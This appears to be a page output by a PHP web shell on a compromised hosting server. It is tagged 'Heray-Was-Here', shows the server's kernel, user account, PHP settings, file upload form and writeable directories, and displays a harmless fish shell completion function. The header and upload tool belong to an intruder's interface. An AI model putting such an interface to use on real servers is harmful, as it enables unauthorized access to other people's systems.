Heray-Was-Here
Server : Apache
System : Linux vps43555.mylogin.co 3.10.0-1160.53.1.vz7.185.3 #1 SMP Tue Jan 25 12:49:12 MSK 2022 x86_64
User : redsea ( 60651)
PHP Version : 7.4.32
Disable Function : NONE
Directory :  /usr/share/fish/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/fish/functions/__fish_gnu_complete.fish
function __fish_gnu_complete -d "Wrapper for the complete built-in. Skips the long completions on non-GNU systems"
	set is_gnu 0

	set -l argv_out

	# Check if we are using a gnu system
	for i in $argv
		switch  $i

			case -g --is-gnu
				set is_gnu 1

			case '*'
				 set argv_out $argv_out $i
		end
	end

	set argv $argv_out
	set argv_out
	set -l skip_next 0

	# Remove long option if not on a gnu system
	switch $is_gnu
		case 0
			for i in $argv

				switch $skip_next

					case 1
						 set skip_next 0
						 continue

				end

				switch $i

					case -l --long
						set skip_next 1
						continue

				end

				set argv_out $argv_out $i
			end
			set argv $argv_out

	end

	complete $argv

end


Hry